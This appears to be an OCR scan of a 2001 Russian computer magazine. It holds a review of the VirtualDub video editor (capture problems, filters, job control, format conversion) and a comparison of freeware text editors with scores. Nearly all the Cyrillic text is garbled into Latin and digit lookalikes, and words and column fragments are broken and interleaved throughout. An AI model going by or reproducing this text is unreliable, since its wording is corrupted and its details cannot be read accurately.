c/io>KHocTeM npM 3axBaTe c aHa/ioroBbix HocMTe/ieM 
— npo6/ieMa c no/i/iMM. OHa B03HMKaeT M3-3a Toro, 
HTO Bee Te/ieBM30pbl M BMfleOMarHMTOCjDOHbl pa60Ta- 
K)T B pe>KMMe HepeCCTpOHHOM pa3BepTKM, a MOHMTO- 
pbl KOMnblOTepOB — B nporpeCCMBHOM. 3tO 3H3HMT, 
HTO KOMnblOTep BbIBOflMT Ha 3Kp3H Kaflpbl fle/IMKOM, 
a Te/ieBM3op — no/iyKaflpaMM, cocTaB/ieHHbiMM M3 
neTHbix m HeneTHbix ctpok. Ho 3tm no/iyKaflpbi m/im 
no/153 3anMcaHbi c pa3HMfleM bo BpeMeHM. l/l3-3a 
3Toro, ec/iM npocTO o6-beflMH/iTb flBa coceflHMX no- 
ziyxaflpa, Ha no/iyneHHOM KapTMHKe Ha rpaHMflax 
flBM>KyiflMXC/l obteKTOB B03HMKai0T «3y6HMKM». fl/1/1 
npeoflO/ieHM/i stom npo6/ieMbi npMxoflMTC/i npMMe- 
H/iTb cneflMa/ibHbie Deinterlace-a/iropMTMbi — 
VirtualDub noflflep/KMBaeT oko/io flec/iTKa pa3Hoo6- 
pa3Hbix a/iropMTMOB TaKoro TMna. 

Apyra/i, He MeHee cepbe3Haa npo6/ieMa, bo3- 
HMKaioifla/i npM 3axBaTe BMfleo, — TaK Ha3biBae- 
MbiM «6apbep 2 l"6aMT». OHa 3aK/uoHaeTC/i b tom, 
hto AVI-cJ/aM/i He MO>KeT 6biTb 6o/ibme stmx caMbix 
2 T6aMT. npM 3axBaTe BMfleo 2 l"6aMT — coBceM 
HeMHoro, mx xBaTaeT Bcero MMHyT Ha 10-20, xota 
3TO 33BMCMT OT pa3peweHMfl M Bbl6paHHOrO KOfle- 
Ka. TaK hto npM pa6oTe c 6o/ibmMMM cJ/pameHTaMM 
npMxoflMTC/i KaK-TO o6xoflMTb 3to npo6/ieMy. 
VirtualDub no3BO/meT npM 3axBaTe aBTOMaTMHecKM 
pa3pe3aTb cJ/M/ibM Ha KycKM o6-beMOM 2 \~6av\j 6e3 
noTepM KaflpoB Ha CTbiKax m noc/ie pa6oTaTb 
C HMMM, KaK C OflHMM cfiaM/lOM (b TepMMHO/lOTMM 
VirtualDub 3to Ha3biBaera Segmented AVI). 

TaK>Ke VirtualDub noflflep/KMBaeT AVI-cfiaM/ibi 
C MepapXMHeCKMM 64-pa3pflflHblM MHfleKCMpOBaHM- 
eM cor/iacHO cneflMc|3MKaflMM AVI2 (OpenDML 1.02). 
3to no3BO/i/ieT eMy pa6oTaTb c AVI-cJ/aM/iaMM, no 
pa3Mepy HaMHoro npeBbimaioiflMMM 2 T6aMT. To/ib- 
ko He ctomt 3a6biBaTb o tom, hto FAT32, Mcno/ib3y- 
eMbiM b Windows95/98/Me, Bee paBHo He noflflep- 
>KMBaeT c|DaM/ibi pa3MepoM 6o/iee 4 T6aMT, ho fl/i/i 
NTFS (WindowsNT/2000) TaKoro orpaHMHeHM/i 
HeT. npM co3flaHMM AVI2-cj3aM/iOB b VirtualDub 
6yflbre ocTopo>KHbi — He Bee BMfleopeflaKTopbi 
CMoryT c hmmm pa6oTaTb. 

Eifle oflHOM OT/iMHMTe/ibHOM HepTOM VirtualDub 
flB/meTCfl Ha/iMHMe 6o/ibmoro KO/iMHecTBa MoiflHbix 
CjDM/lbTpOB. ripMHeM, KpOMe BCTpoeHHbIX c|3M/lbTpOB, 
mo)kho ycTaHaB/iMBaTb m flono/iHMTe/ibHbie, HanM- 
CaHHbie He33BMCMMblMM nporpaMMMCTaMM, M/IM fla- 


>Ke HanMcaTb cbom — fl/i/i stoto cyiflecTByeT cneflM- 
a/ibHbm SDK (Software Developer Kit). 

0neHbyflo6Ha B03M0>KH0CTb HaK/iaflbiBaTb Ha 
OflMH Kaflp HecKO/ibKO cJ/M/ibTpoB npM noMOiflM cne- 
flMa/ibHoro MeHefl>Kepa, Bbi3biBaeMoro nepe3 MeHio 
Video > Filters (m/im coneTaHMeM k/i a b m m Ctrl+F). 
Mo>kho, HanpMMep, OflHOBpeMeHHO npMMeHMTb scJd- 
cfieKT «pa3MbiTMe», yBe/iMHeHMe /ipkoctm m cfle/iaTb 
M3o6pa>KeHMe nepH0-6e/ibiM. llpM stom 3anacTyio 
pe3y/ibTaT 33bmcmt ot nop/iflKa Ha/io>KeHM/i c|dm/i bT- 
POB. Eo/lbLUMHCTBO M3 HMX pa 60 Tai 0 T OHeHb 6blCTpO, 
noaTOMy pe3y/ibTaTbi mx npMMeHeHM/i mo>kho Ha- 
6/u oflaTb b pea/ibHOM BpeMeHM. 

MHorMe onepaflMM c BMfleo fl/iMTe/ibHbi no Bpe- 
MeHM. flo3TOMy b VirtualDub, c noMOiflbio cfiyHKflMM » 


OcHOBHbie cpn/ibT|)bi VirtualDub 

Reduce — yMeHbmaeT pa3Mep Kaflpa b flBa pa3a. 

3x3 Average — b Bbi6paHH0M KBaflpaTe 
3 x TriMKce/in 3aivieHHeT u,Bei L/eHTpa/ibHoro M3 
hmx ycpeflHeHHbiM L/BeTOM coceflHMX. Mcno/ib3yeT- 
cn fl/m co3flaHMn a^eKTa pa3MbiTMn. 

Blur, Blur more — pa3MbiTMe no Tayccy flByx pa3- 
ZlMHHblX paflMyCOB. 

Brightness/contrast — no3BO/meT HacTpaMBaTb 
npKOCTb M KOHTpaCTHOCTb M3o6pa>KeHMn. 

Deinterlace — Ha6op 4>M/ibTpoB flnn yfla/ieHMn mc- 
K3>KeHMM, CBH3aHHblX C HepeCCTpOHHOM p33BepTK0M. 

Emboss — co3flaeTcn a^eKT 6ape/ibe4>a. 

Fields swap — MeHneT MecTaMM neTHbie m HeneT- 
Hbie ctpokm Kaflpa. 

Fill — 3ano/iHneT npnMoyro/ibHyio 06 /iacTb M3o6- 
pa>KeHMH BblOpaHHbIM L/BeTOM. 

Flip horizontally, Flip vertically — fle/iaeT 3ep- 
Ka^bHOe 0 T 06 pa>KeHMe OTHOCMTe/lbHO COOTBeTCTBy- 
lOLfleM OCM. 

General convolution — stot 4>M^bTp 3aMeHneT 
nMKce/ib /iMHeMHOM 4>yHKUMeM ot Hero caMoro m 
coceflHMX C HMM. OyHKL/MH 3aflaeTCH B BMfle MaT- 
p M l_l,bl 3x3. 

Grayscale — yfla/ineT L/BeTOByio MH^opMaL/Mio. 

Invert — 3aMeHneT M3o6pa>KeHMe ero HeraTMBOM. 

Levels — no3BO/ineT HacTpaMBaTb ypoBHM hpkoctm. 

Resize — M3MeHneT pa3Mepbi M3o6pa>KeHMn, mc- 
no/ib3yn pa3/iMHHbie a/iropMTMbi, b tom HMc/ie 6 m- 
ZlMHeMHbie M 6MKy6MHeCKMe. 

Rotate — ocyiflecTB/meT pa3BopoT M3o6pa>KeHMn 
Ha 90 , 180 m 270 rpaflycoB. 

Rotate2 — 6o/iee npoflBMHyrbm BapnaHT 4>M/ibTpa 
Rotate — no3Bo/meT noBepHyTb M3o6pa>KeHMe Ha 
/ik)6om yro/i. 

Sharpen — yBe/iMHMBaeT pe3K0CTb. 

Smoother — yfla^neT M3 M3o6pa>KeHMn BbicoKona- 
CTOTHblM «myM». 

Threshold — 3aMeHneT Bee n m K ce/i m , MMetou/Me 
npKocTb, MeHbmyio onpefle/ieHHoro ypoBHn, Ha 
nepHbie, a ocTa/ibHbie n m Kce/i m — Ha 6e/ibie. 

TV — nbiTaeTcn 3aMacKMpoBaTb «myM», xapaKTep- 
HblM fl/in Te/ieBMfleHMH. 
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a Pmc. 2 . Bbi 6 op KOAeKa 


▲ Pmc. 3 . flpouecc KOMnpeccMM 


» Job Control, mo>kho 3aflaBaTb noc/ieAOBaTe/ibHocTM 
3aflan, KOTopbie 6yflyT Bbino/iHATbc/i b aBTOMaTnnec- 
kom pewMMe, noKa Bbi, HanpMMep, cnme. fl/m Kaw- 
flOM TaKOM 3aflaHM VirtualDub 6yflei OTKpbiBaTb co- 
OTBeTCTByioiMMe cjaaPi/ibi n ycraHaB/iMBaTb Hy>KHbie 
HacrpoMKM npeo6pa30BaHMM. Pe3y/ibraTbi Bbino/iHe- 
HMfl KaWflOM 3aflaHM COXpaHflIOTCfl. ripM B03HMKH0- 
BeHMM owm6km VirtualDub 3aBepiuaeT Bbino/iHeHMe 
TeKymeM 3aflaHM m npuciynaeT k c/ieflyiomeM. Bbi 
MO>KeTe npoAO/iwaTb peflaKTMpoBaHMe noc/ieflOBa- 
Te/ibHOCTM Bbino/meHMii 3aflan, fla>Ke Korfla cnncoK 
y>ne 3anyiMeH Ha Bbino/iHeHkie. 

rio/ie3HbiMM cjay h K14M53 m m VirtualDub ab/i/uotca 

B 03 M 0 >KH 0 CTb COXpaHeHMfl 3 ByKOBOM flOpO>KKM B OT- 
Ae/ibHOM WAV-c|DaM/ie m 3 aMeHa oahom 3 ByKOBOM ao- 
po>KKM ApyroM, a TaK>Ke coxpaHeHMe coAepwMMoro 
KaApoB b 6 yct>epe o 6 MeHa m/im OTAe/ibHOM cJaaPi/ie n 

B 03 M 0 WH 0 CTb yAa/ieHM/i KaApoB. EiAe OAHa mie - 
pecHaa oco6eHHocTb — o6pa6on<a BMAeo oaho- 
BpeMeHHO Ha HecKO/ibKMx KOMnbioiepax, obteAM- 
HeHHblX ZlOKa/lbHOM ceibio. 

TaK>Ke xopoiuo npoAyMaHbi MHTepcj/eMC Virtual- 
Dub m pacno/ioweHMe 3/ieMeHTOB ynpaB/ieHM/i. Bee 
oneHb npodo, ho opraHMHHO. CnaBHoe okho coAep- 
>kmt ABa « 3 KpaHa». B zieBOM Bbi BMAme KaApbi mc- 
xoAHoro BMAeo (source frames), a b npaBOM — 
cooTBeTCTByioiAMe KaApbi, ho y>Ke noc/ie npeo6pa- 
30 B 3 H Mil m Ha/ioweHM/i cfiM/ibTpoB (output frames). 
3 to no 3 BO/meT Har/mAHO c/ieAMTb 3a npoueccoM m 
B bl6MpaTb OnTMMa^bHbie HaCTpOMKM. B HMWHeM nac- 
tm maBHoro OKHa pacno/ioweHbi no/ioca npoKpyTKM 
K/iMna m KHonKM nepeMeiAeHMfl — b Hanaro, b ko- 
Heu, Ha c/ieAytoiAMM KaAP, Ha npeAbiAyiAMM KaAP, Ha 
c/ieAyioiAMM k/uohcbom KaAP, Ha npeAbiAyiAMM k/iio- 
neBOM KaAP- 3 Aecb >Ke pacno/ioweHbi KHonKM 3 any- 
CKa npeABapMTe-nbHoro npocMOTpa K/iMna m BbiAe- 
/ieHMfl cjDparMeHTa. OcHOBHbie cj/yHKAMM nporpaMMbi 
MO)KHO Bbl 3 bl B 3 Tb C nOMOLAblO «rop/IHMX K/iaBMW». B 
HacTpoMKax VirtualDub mo>kho Bbi6paTb pa3Mepbi 
6 yc|DepoB, Ha6op paciuMpeHHbix KOMaHA, noAAepwM- 
BaeMbix BauiMM npoueccopoM (MMX, SSE, SSE2, 
3DNow!), m pe>KMM OTo6paweHM/i k/i m n 0 b . KpoMe 
Toro, He ctomt HeAOOueHMBaTb m Ha/iMHMe xopoweM 
BCTpoeHHOM enpaBOHHOM CMCTeMbl — OHa C 3 KOHO- 
mmt Maccy BpeMeHM. 


Macro B03HMKaioiAaii npM pa6oie c AMcfipoBbiM 
BMAeo 3aAana — nepeBOA K/iMna M3 oahoto cJ/opMa- 
Ta b ApyroPi. riocMOTpMM, KaK 3 to mo>kho ocyiAecr- 
BMTb c noMOiAbio VirtualDub, m Bbi noMMeie, Ha 
CKO/lbKO 3TO yA 06 Hafl M npOCTafl B MCn0/lb30B3HMM 
nporpaMMa. riycTb y Hac Ha wecTKOM AMCKe edb 
cjaaM/i b MPEG-1, m Mbi xotmm ero nepeKOAMpoBaib, 
HanpMMep, b nony/mpHbm cefinac MPEG-4. Jlio6oe 
Apyroe npeo6pa30BaHMe TaKoro we jma 6yqeT npo- 
McxoAMTb aHa/iorMHHbiM cnoco6oM. npeAno/iowMM, 
hto Bee Heo6xoAMMbie koackm ywe ycraHOB/ieHbi. 

► OTKpbiBaeM MPG-cfiaM^ c noMOiAbio VirtualDub 
(File > Open Video File m/im npocro HawMMaeM 
Ctrl+0). 

► Bbi6npaeM BMAeoKOAeK (Video > Compression... 
m/im Ctrl+C), b HaiueM c/iynae DivX ;-) MPEG-4 
Low-Motion, m napaMeipbi cwaTM/i (KHonKa 
Configure — puc. 2). 

► Ec/IM Mbl XOTMM Ha/lOWMTb C})M/lbTp, M3MeHMTb HaC- 
TOTy KaApoB m/im r/iy6MHy ABeia — Bbi6MpaeM 
cooTBeTCTByioiAMM nyHKT Ha BK/iaAKe Video. 

► BK/HonaeM pewMM o6pa6oTKM BMAeo c peKOM- 
npeccMeM (Video > Full processing mode). 

► Ec/1M Mbl XOTMM OCTaBMTb 3By« 6e3 M3MeHeHMM, 
BIUllOHaeM npilMOe KOnMpOBaHMe 3ByKOBOM MHCflOp- 
MaAMM M3 CTaporo cfiaM/ia b HOBbiPi (Audio > Direct 
stream copy) m/im Bbi6MpaeM ayAMOKOAeK, TaK we 
KaK m a-ha M3o6paweHM/i (Audio > Compression...), 
m nepemuoHaeMCfl Ha pewMM o6pa6oTKM 3ByKa c 
peKOMnpeccMePi (Audio > Full processing mode) 

► Bot m Bee! OcTa/iocb TO/ibKO Bbino/iHMTb caMO npe- 
o6pa30BaHMe (File > Save AVI m/im npocTO F7). 

Fla BpeM/i npeo6pa30BaHM/i no/iBMTCfl Ta6/iMHKa, 
no KOTopoii Bbi MOweTe c/ieAMTb 3 a ero xoaom, — 
OHa OTo6pawaeT HOMep TeKyiAero KaApa, Be/iMHMHy 
noTOKa, npeAno/iaraeMbm pa3Mep KOHeHHoro ejaan- 
/ia, BpeM/i oKOHHaHM/i npeo6pa30BaHM/i m hckoto- 
pyio Apyryio no/ie3Hyio MHcfiopMauMio. Ec/im 6bi Mbi 
xoTe/iM KOAMpoBaTb He Becb K/iMn, a TO/ibKO ero 
cJ/parMeHT, HaM AOCTaTOHHO 6bi/io 6bi ero Bbi6paTb 
— /im6o nepe3 Video > Select Range, /im6o BbiAe- 
/imb MbiiuKOM Ha no/ioce npoKpyTKM K/iMna m 33c|dmk- 
CMpOBaB COOTBeTCTByiOlAMMM KHOnKaMM. 

EiAe OAHa, He MeHee nacTO BCTpenaioiAa/ic/i 3a- 
Aana — CK/ieMKa Asyx (m/im HecKO/ibKMx) cfiparMeH- 


tob. B VirtualDub OHa ocyiAecTB/i/ieTC/i coBceM 
npocTO. 

► OTKpbiBaeM nepBbiM AVI-cJ/aii/i (File > Open Video 
File). 

► /}o6aB/meM btopom cfiaM/i (File > Append Video 
Segment). 

► OTK/iionaeM KOMnpeccuio (Video > Direct stream 
copy. Audio > Direct stream copy). 

► CoxpaH/ieM no/iyneHHbiM K/iMn (File > Save AVI). 

fl/m ocyiAecTB/ieHMfl TaKOM CK/ien km Heo6xoAM- 
mo, HTo6bi 06a cfiparMeHTa 6bi/iM 3aKOAMpoBaHbi c 
OAMHaKOBOM HaCTOTOM KaApoB M OAHMM M TeM we 
KOAeKOM. 

Ec/im we Bbi xotmtc npocTO Bbipe3aTb M3 OAHoro 
6o/ibiuoro c|DM/ibMa He6o/ibiuoM KycoK, to mowho 
A eMCTBOBaTb c/ieAyioiAMM o6pa30M: 

► OTKpbiBaeM AVI-c|aaM/i. 

► OTK/iionaeM KOMnpeccMio. 

► BbiAe/i/ieM cJ/parMeHT. lloMHMTe, hto 3to HywHO Ae- 
/iaTb no K/noneBbiM KaApaM — h3mtm mx mowho, 
B0Cn0/lb30BaBlUMCb COOTBeTCTByiOlAMMM KHOnKaMM. 

► CoxpaH/ieM cJ/parMeHT. 

Bcero 3a HecKO/ibKO MMHyT cJ/parMeHT 6yAeT co- 
xpaHeH. Ec/im we bxoahom cJaaM/i 6bi/i He b cfiopMaTe 
AVI, to 6e3 peKOMnpeccMM He o6oMTMCb (pnc. 3). 

B 3aK/noHeHMe xony OTMeTMTb, hto nporpaMMa 
VirtualDub nocroAHHO pa3BMBaeTC/i. Fla momcht Ha- 
nMcaHMA CTaTbM s\ Mcno/ib30Ba/i BepcMio VirtualDub 
1.4d (Build 12667). I/I cyAfl no MHcfiopMauMM Ha ao- 
MauiHeM CTpaHMHKe nporpaMMbi, aBTop no/iOH n/ia- 
hob — He 3a ropaMM BbixoA BepcMM 1.5 m 2.0, b ko- 
Topbie 6yAeT Ao6aB/ieHa Macca hobwx bo3mow- 
HocTeM, cf)M/ibTpoB m McnpaB/ieHbi HaMAeHHbie oujm6- 
km. TaK hto c/ieAMTe 3a o6hob/i6hm/imm no aApecy 
http://wwwl86.pair.com/vdub/virtualdub_news. 
OcTaeTC/i TO/ibKO Bbipa3MTb 6/iaroAapHocTb aBTopy 
3 tom nporpaMMbi 3a ero 6ecKopbiCTHbm TpyA- 
■ ■ ■ CTac BvixpoB 


VirtualDub 


nporpaMMa JiMHeiiHoro BMAeoMOHTawa 

Pa3pa6oTHMK Avery Lee 
http://virtualdub.sourceforge.net 

yc/ioBMH pacnpocTpaHeHMB freeware 
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063OP TeKCTOBbIX peflaKTopoB 

PeAaKTopu, 

Ha CTapT... 

I/lx MHoro, xopownx m pa3Hbix. M cnucoK npoflo/UKaeT nono/iHflTboi oneHb 6bicrpo. Haflo 3aMeTMTb, hto 
no/ib3yKrrai ohm He MeHbweM nony/iripHOCTbK), neM Mrpbi. 3ar/iflHMTe, HanpMMep, no aflpecy 
www.download.ru. /I a b p bi aBTopa TeKCTOBoro peflaKTopa He flaioT noKon mhotmm nporpaMMMdaM. 

Chip pewM/i ycTpoMTb Mewfly hmmm He6ojibwoe copeBHOBaHMe b flyxe M3BecTH0M Te/ieMrpbi. 


M ia k, flaBaMTe nocMOTpMM Ha cocraB ynacTHMKOB. Bcero 6bmo noflaHO 44 
3351BKM Ha ynacTMe (crojibKO nporpaMM MHe yAa/iocb o6Hapy>KMTb; Me/iKne 
yTM/iMTbi m pa3/iMHHbie nporpaMMbi npocMOTpa 6bi/iM 6e3>Ka.nocTHO oi6poiueHbi). 
M3 hmx b ochobhom Typ npow/iM Aec/iTb. 

OCHOBHbIMM KpMTepMflMM Ol6opa AB/lfl/lMCb: yflo6CTBO pa60Tbl (flOCTyn- 
HOdb ocHOBHbix cpyH kl^m m ), KOMnaKTHOdb (icax npaBM/io, He 6o/lbWe 
2 M6aMT), Apy>KecTBeHHOCTb m HTepcJ/eMca, noAAep>KKa ocHOBHbix cfiopMa- 
TOB cfiaMJlOB, Hy, M MOM /I M H H bl e npMCTpaCTMfl. B 3T0M CnMCKe HeT T3KMX 
«tm raHTOB», Kax MS Word, Lotus Word Pro, Corel WordPerfect, a Taione /lex- 
cmkoh, nocKO/ibxy 3 to Bce-TaKM y>xe TeKCTOBbie npoueccopbi, a He peflax- 
Topbi. KpoMe Toro, He 6b i/im AonyiAeHbi k copeBHOBaHM/iM HeKOTopbie Becb- 
Ma MHTepecHbie nporpaMMbi (NickSoft TextEditor, SpeedyText m np.) no 


Crypt Edit 


Bepcun: 4.0 
Pa3pa6oTHMK: PolySoft 
Pa3Mep: 1 M6aftT 
OueHKa: 8 



3tot peflaKTop 3ac/iy>KMji oueHKy 8 M3 10. 
OHa 6bi/ia cHM>KeHa M3-3a OTcyTCTBM/i nofl- 
flep>KKM HeKOTOpbIX 3/ieMeHTOB CjDOpMaTMpO- 
BaH ma Word. HanpMMep, b HeM He/ib3/i 3a- 
AaTb cJdoh to/ 1 bKO 
A/ifl oahoto AOKy- 
MeHTa — 3T0 M3Me- 
HeHMe 0Tpa3 MTC/l M 
Ha APyrMX, HTO He 
coBceM yAo6HO, Aa 
m Ha6op UBeTOB 
cpoHa MeHbiue, neM 
b Word 2000. Kpo- 
Me Toro, Crypt Edit 
He noAAep>KMBaeT 
rpaAMeHTHyio 3a- 


ziMBKy. Tax hto b HeKOTopbix c/iyna/ix Word 3aMeHMTb mm He yAacra, no- 
CKO/ibKy cJ/opMaT Word 2000 Crypt Edit h MT aeT c noTep/iMM. Ho ec/iM Bbi He 
no/ib3yeTecb pacuiMpeHHbiMM bo3mo>khoct/imm Word 2000, to Crypt Edit 


npMHMHe c/io>khoctm 3arpy3KM 
c aBTopcKMx caMTOB /im6o He- 
B03M0>KH0CTM nO/iyHMTb 
pa3BepHyTyio MHcj/opMauMio o 
hmx. McxoAHbie AaHHbie co- 
pe BHyioiAMxcfl onMcaHbi b Ta6- 
ziMue. 

A Tenepb AaBaMTe 6o/iee 
noApo6HO paccKa>KeM o Ka>K- 
AOm M3 ynacTHMKOB Hauiero 
«3a6era» m oachmm no agc/itm- 
6a/i/ibHOM luxa/ie. » 



BaM noAOMAeT, Tax xax cjaop- 
MaT Word 97 oh h MT aeT otmch- 
ho. KpoMe Toro, b stom pe- 
AaKTope MMeiora, Ha mom 
B 3r/iflA, npaKTMHecKM yHM- 
xa/ibHbie bo3mo>khoctm: lu m c|d- 
poBaHMe m noAK/uonaeMbie 
MOAy/iM. LilMcJ/poBaHMe abomh- 
Hoe, a/iropMTM RC5. Bee oneHb 


CTeneHb KOivmaKTHOCTH 
peflaKTopoe 


1 ► 11,7 K6aPiT: Bera — peAaKTop, HanM- 

caHHbiM Ha AcceM6/iepe. 

2 ► 546 K6aMT: RPad32 — oneHb kom- 

naKTHo a/ih TaKoro 6/ioKHOTa. 

3 ► 624 K6aPiT: Quick Editor — nyrb no- 

6o/ibwe, ho T0>xe xopoiiio. 

4 ► 668 K6aMT: Tokctobuk — He o/KMAa/i 

TaKoro pa3Mepa ot 3aMeHMTe/in E/iok- 
HOTa, ho 3T0 o6-bHCHneTcn 3ByKaivm, 
conpoBO/KAaiOLAMMM paOoTy nporpaM- 
Mbi. 

5 ► 756 K6aPiT: Editor — HanncaH Ha 

Delphi. 

6 ► 902 K6aMT: Baikal WordPad — mho- 

ro KpacMBbix KapTMHOK m «HaBopo- 
tob», hto Ao6aB^neT nporpaMMe 
«/iMLLiHero Beca». 

7,8 ► 1 M6aMT: Aditor, Crypt Edit — mho- 
ro 4>yHKL4MM — mhoto MecTa. 

9 ► 1,29 M6aMT: PSoft Editor 2000 — 

Bno/iHe co/iMAHbiM peAaKTop, npM6/iM- 
>xaeTCH no cbomm bo3mo>khocthm k 
/ leKCMKOHy. 

10 ► 2 M6aMT: Everest — BecbMa «yBecMC- 

Tan» a^h cBoero K/iacca nporpaMMa. 


npocTO. HaCTpOMKM n03B0/lfl- 

K)T 33MeH MTb 6/lOKHOT M BOCCTaHOBMTb erO 06 paTH 0 (TO eCTb M3MCH MTb 
npMopMTeTbi cMCTeMbi npM pa6oTe c cJ/aM/iaMM, accoAMMpoBaHHbiMM c 
6/iokhotom: o6biHHO sto cfiaM/ibi c pacuiMpeHM/iMM INF, INI, TXT). 3tot pe- 
AaKTop T3K>Ke no3BO/ifleT koh B epTMpoBaTb cjaaM/i bi M3 oahom koampobkm b 
A pyryio (ROT-13, D0S866, KOI-8, WIN1251). flono/iHMTe/ibHbie 6a/i/ibi 6 bi - 
am npMcy>KAeHbi Crypt Edit 3a otamhhwm MHTepcjDeMC m cpaBHMTe/ibHO Ma- 


Abm pa3Mep. LU n m oh bi, 3Ta nporpaMMa aaa Bac! 
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PSoft Editor 2000 


Pa3pa6oTHm<: PSoft 
(MeaH ripuTy/ia) 

Bepcun: 5.0 
Pa3Mep: 1,29 M6aMT 
OueHKa: 8,5 


OueHKa 8,5 roBopm o mhotom. OneHb yflo6- 
HblM, KpaCMBbIM, fla>Ke 3CTeTMHHblM MHTep- 
cjDeMc. ripn^THo opraHM30BaHHbie Memo. Xo- 
pOLU MM M KOMnaKTHbIM cflOpMaT CjDaM/lOB. 

OneHb o 6 maho, kot- 



6oia aBTopoM 6bi/ia 
nacTMHHo HeflOfle^a- 
Ha: cnpaBKM, k co- 
>Ka/ieHMK), HeT. Ca- 
Moe HenpMATHoe to, 
hto peflaKTop He hm- 
TaeT c|DaM/ibi Word 
(*.doc). He onpefle- 


Everest 


Bepcim: 1.0.0.66 
Pa3pa6oTHMK: Archi Team 
Pa3Mep: 2 M6airr 
OueHKa: 8 



npaKTMHecKM HMKOT- 
fla He B03H M K3/10 M 
He B03HMKHeT. 3Be- 
peCT — OT/lMHHbIM 
TeKCTOBbiM peflaK- 
TOp. nOflBOflMT ero 
TO/lbKO TO, HTO 
KOMaHfla pa3pa6oT- 
hmkob Archi Team 
coBceM 3a6bi/ia cfle- 



CTeneHb yflo6cTBa paGoTbi 

I 

h ApyxcecTBeiiHOCTH MHTepc|>eMca 

>> 06/2001 


O 

1 ► Crypt Edit — 6 bicTpbm AOCTyn k 4 >yHKL 4 MqM, 


yAobHo paboTaTb c naHennMM MHCTpyMeHTOB. 

^ 5 ieT pa 3 Mep, abct m 

2 ► TeKCTOBMK — npocTO, yaoSho m c iomopom. 

Ha 3 B 3 HMe UJpMC|DTa B bl - 

3 ► Psoft Editor 2000 — nonTM MAean, ho HeT 


Ae/ieHHoro cfiparMeHTa. 
HeKOTopbie cJdyhkamm b 
B epCMM, KOTOpOM no/ib- 
30Ba/lCfl 51, 6blJI M OT- 
K/llOHeHbl. A >Ka/lb — 
no/ib30BaTe/iflM Word, k 
co>Ka/ieHMK), Ha Hero He 
nepeiiTM. A bot ec/iM 
aBTOp BbinyCTMT HOByiO 
BepcMio... 


OueHKa 3 toto peflaKTopa — 8. OHa ch M>K eHa 
MCK/iioHMTe/ibHo M3-3a MHTepcfieMca, TaK KaK 
K B03M05KH0CT5IM 3T0M 3aMenaTe/lbH0M, nOMC- 
tm H e npocfieccMOHajibHOM nporpaMMbi HMKa- 
KMX npeTeH3MM 


cnpaBKM, xoth b MeHfo OHa 3aHBneHa. Bmam- 
mo, aBTop eiue He 3aK0HHM/i pa6oTy HaA h ev\. 

4 ► Aditor — neperpyweH naHe/iflMM, ho rhh web- 

MacTepoB m npo4>eccMOHa/ibHbix nporpaMMMc- 
tob oneHb noAXOAMT. >KajiK0, hto ecTb HeKOTO- 
pbie HeAopa6oTKM. 

5 ► Baikal WordPad — neperpy>KeH naHe/iHMM, ho 

KpaCMBO. 

6 ► Everest — xopomo npoAyMaHHbie naHe/iM, ho 

HeT noACK330K. 14 nporpaMMbi yqa/ieHMfl T0>Ke, 
KCTaTM , HeT. BnenaT/ieHMe ABOHKoe: tmhmhho OTe- 
necTBeHHbiM noAxoA — CAe/iaTb pa6oTy, a Mycop 
He ybpaTb. B AaHHbiM momcht BHeiiiHnn noA- 
Aep>KKa 3Toro peAaKTopa He ocyinecTB-nneTCfl. 

7 ► Bera — oneHb Ma/io 4>yHKUMM Ha naHe/iM mh- 

CTpyMeHTOB. 


jiaTb OAHy Ba>KHyio BeiAb — npocTaBMTb noAnMCM m noACK33 KM ko BceM 


KHOnKaM. X0T5I pMCyHKM 
y KHOnOK MHTyMTMBHO 
nOHilTH bl, HOBMHOK B 
3 tom Ae-ne MO>KeT He 
cpa3y pa3o6paTbC5i. 

KpoMe toto, TaM He/ib35i 
C03AaBaTb chockm, or- 
JiaB/ieHMfl m coxpaH^Tb 
ctm/im. PeAaKTop npoBO- 
AMT KanecTBeHHbiM mm- 
nopT M3 MS Word, 

Tex, kto jho 6 mt DOS, pa3- 

pa6oTHMKM npenoAHec/iM ciopnpM3 — Everest noHMMaeT nceBAorpac|DMKy! 

Bo BpeM5i HanMcaHMii stom craTbM sen pa6oTa HaA Everest rpynnoii pa3pa6oT- 
hmkob 6bma npexpaiMeHa, a Aocryn k pecypcaM 3aKpbiT. CAe/iaHO 3 to 6bmo 6e3 
06-b^CHeHMfl npMHMH. 


8 ► Rpad32 — Aawe naHe/iM MHCTpyMeHTOB HeT. 

MeHio noneMy-TO no-aHmnncKM. CnpaBKa 
CKyAHan. No comment. 

9 ► Editor — Aywepa 3 AMpai 0 LAee 3 pe/iMLAe: naHe- 

m HeyAo 6 Hbi m neperpy>KeHbi, a cnpaBKM HeT. 
B OKHe About KpynHbiMM 6 yKBaMM HanncaHo: 
« 3 tot Editor CAe/iaH BoHAapnyKOM HMKO/iaeM». 
Be 3 BKycMua, Ha mom B 3 r/mA. 

10 ► Quick Editor — yBbi, HMHero xopomero a 

CKa 3 aTb o nporpaMMe He Mory. OneHb HeyAob- 
HO M npMMMTMBHO. 


TeKCTOBMK 


OueHKa 7,5. OneHb yAanHa^ 3 aMeHa Note- 
pad. KoMaHAbi MMeiOT 3 ByKOBoe conpoBOW- 
Ae HMe (Hy>KHO oho m/im HeT — sto y>Ke Apy- 
tom Bonpoc, ho noc/iywaTb npMATHo). 

nporpaMMa c iomo- 
poM. UMeeT rM6KMe 
HaCTpOMKM. CBOpa- 
HMBaeTCji b Tpeii 
(no >Ke/iaHM lo 
no/ib30BaTe/i5i). He 
AB/ifleTCfl RTF pe- 
AaKTopoM, ho no3- 
B0/i5ieT peAaKTMpo- 
BaTb CjDaM/lbl B 
cfiopMaTe .txt. 
Bno/me ycneiuHO 

Bbino^H^eT nepeKOAMpoBKy M 3 DOS b WIN. OT/iMnaera Ma/ibiM pa 3 MepoM. 
TeKCTOBMK oneHb yAo 6 eH b pa 6 oTe, ho Word oh He 33 MeHMT. A bot 6 biCTpo 
HanMcaTb c ero noMOiAbio KaKyio-HM 6 yAb He 6 ojibwyio 3 aMeTKy — OT/iMHHoe 
npMMeHeHMe! 


Baikal WordPad 


OueHKa 7,5. Mhokcctbo bc 5 ikmx KpacoT — a>K 
ma 3 a pa 36 eraiOTC 5 i. OAHa ycraHOBKa «c bma3mm 
Ha 03 epo EaMKa/i» nero ctomt. He 3 aperMcrpM- 
poBaHHa^ BepcMfl nporpaMMbi MMeeT b Ha 3 Ba- 
hmm CTpoKy y unre- 
gistred' (mmchho 
t 3 k!). Oco 6 o no^e 3 - 

Hbie B03M0>KH0CTM B 
Hen OTOioneHbi. Ha- 
